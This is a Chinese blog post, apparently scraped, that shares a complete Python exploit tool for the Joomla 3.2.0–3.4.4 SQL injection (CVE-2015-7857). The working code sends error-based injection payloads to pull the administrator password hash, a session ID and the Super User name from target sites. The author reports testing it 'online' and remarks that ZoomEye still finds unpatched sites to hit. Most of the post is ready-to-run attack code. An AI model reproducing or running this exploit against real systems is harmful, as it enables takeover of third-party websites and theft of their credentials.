CVE-2015-7857 Joomla注入漏洞利用工具(Python)

      前段時間鬧得很火的一個SQL注入漏洞,影響版本Joomla 3.2.0-3.4.4版本。目前官方已經提供了升級版本。php

      漏洞分析英文版本在這裏:https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/?page=1&year=0&month=0html

      Freebuf上的翻譯版本在這裏:http://www.freebuf.com/articles/82811.htmlpython

      主要是嘗試一下用Python寫了一個利用的工具,能夠獲取SessionID,獲取管理員的帳戶密碼,管理員的的名字。其餘的功能只須要加上對應的Payload便可。沒有作多線程處理,item_id也只是嘗試1000次,若是不成功的話就會退出。在本地測試成功。利用zoomeye也仍是能夠找到沒有及時打補丁的網站。下面看下展現圖。sql

      本地測試:session

demo1

      在線測試:多線程

 demo2

      最後,分享一下源碼,寫的比較粗糙:ide

#!/usr/bin/env python
# Exploit Title:Joomla 3.2.0-3.4.4 sql injection
# Date:30/10/2015
# Exploit Author:ShadonSniper
import requests
import optparse
import urlparse
import sys
import ctypes
import re
FOREGROUND_GREEN = 0x0a
FOREGROUND_RED = 0x0c
FOREGROUND_BLUE = 0x09
FOREGROUND_YELLOW = 0x0e
STD_OUTPUT_HANDLE = -11
#PASSWORD_PAYLOAD = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=7&type_id=1&list[select]=(select%201%20from%20(select%20count(*),concat((select%20(select%20concat(username))%20from%20%23__users%20where name='Super User'%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)"
#SESSIONID_PAYLOAD = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 FROM (select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"
PASSFLAG1 = "Duplicate entry '"
PASSFLAG2 = "' for key 'group_key'"
item_id = 0
table_prefix = 'jml';
def exploit_password(url):
    global item_id
    global table_prefix
    maxattempts = 1000
    print 'password attack:'
    for i in xrange(1,maxattempts+1):
        sys.stdout.write("\r%4d/%4d"%(i,maxattempts))
        sys.stdout.flush()
        password_payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=%d&type_id=1"%i
        password_payload = password_payload+"&list[select]=(select%201%20from%20(select%20count(*),concat((select%20(select%20concat(password))%20from%20%23__users%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)"
        password_url = url+password_payload
        r = requests.get(password_url)
        try:
            index_start = r.content.index(PASSFLAG1)
            index_end = r.content.index(PASSFLAG2)
            if index_start == -1:
               printRed("attack password failed!!!")
               print
            else:
                m = re.search("([a-zA-Z0-9]+)_ucm_history",r.content)
                table_prefix=m.group(1)
                print
                printRed('Bingo! Attack Done!!!')
                print
                item_id = i
                sys.stdout.flush()
                admin_password = r.content[index_start+22:index_end]
                printYellow("Password: ")
                printYellow(admin_password)
                print
                return
        except Exception,e:
            pass
    print
    printRed("password attack failed!!!")
def exploit_sessionid(url):
    global item_id
    global table_prefix
    passflag = "500 Layout default not found"
    print
    print 'sessionid attack:'
    sys.stdout.flush()
    sessionid_payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=%d&type_id=1&list[select]=(select 1 FROM (select count(*),concat((select (select concat(session_id)) FROM %s_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"%(item_id,table_prefix)
    session_url = url+sessionid_payload
    r = requests.get(session_url)
    try:
        index = r.content.index(passflag)
        if index !=-1:
            printRed('sessionid attack failed!!!')
            print
            return
    except Exception,e:
        try:
            index_start = r.content.index(PASSFLAG1)
            index_end = r.content.index(PASSFLAG2)
            printRed('Bingo! Attack Done!!!')
            print
            printYellow("SessionID: ")
            printYellow(r.content[index_start+22:index_end])
            print
        except Exception,e:
            printRed('sessionid attack failed!!!')
            print
def exploit_username(url):
    global item_id
    passflag = ".jml_session' doesn't exist"
    print 'username attack:'
    sys.stdout.flush()
    username_payload = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=%d&type_id=1"%item_id
    username_payload = username_payload+"&list[select]=(select%201%20from%20(select%20count(*),concat((select%20(select%20concat(username))%20from%20%23__users%20where name='Super User'%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)"
    username_url = url+username_payload
    r = requests.get(username_url)
    try:
        index = r.content.index(passflag)
        if index !=-1:
            printRed('username attack failed!!!')
            print
            return
    except Exception,e:
        try:
            index_start = r.content.index(PASSFLAG1)
            index_end = r.content.index(PASSFLAG2)
            printRed('Bingo! Attack Done!!!')
            print
            printYellow("UserName: ")
            printYellow(r.content[index_start+22:index_end])
        except Exception,e:
            printRed('username attack failed!!!')
            print
std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
def set_cmd_text_color(color, handle=std_out_handle):
    Bool = ctypes.windll.kernel32.SetConsoleTextAttribute(handle, color)
    return Bool
def resetColor():
    set_cmd_text_color(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE)
def printGreen(mess):
    set_cmd_text_color(FOREGROUND_GREEN)
    sys.stdout.write(mess)
    sys.stdout.flush()
    resetColor()
def printYellow(mess):
    set_cmd_text_color(FOREGROUND_YELLOW)
    sys.stdout.write(mess)
    sys.stdout.flush()
    resetColor()
def printRed(mess):
    set_cmd_text_color(FOREGROUND_RED)
    sys.stdout.write(mess)
    sys.stdout.flush()
    resetColor()
def main():
    parser = optparse.OptionParser('usage%prog '+\
        '-U <urlpath>')
    parser.add_option('-U',dest='url',type='string',help='vulnerable url path')
    (options,args)=parser.parse_args()
    url=options.url
    if url==None:
        print parser.usage
        exit(0)
    exploit_password(url)
    exploit_sessionid(url)
    exploit_username(url)
if __name__ == '__main__':
    main()
相關文章
相關標籤/搜索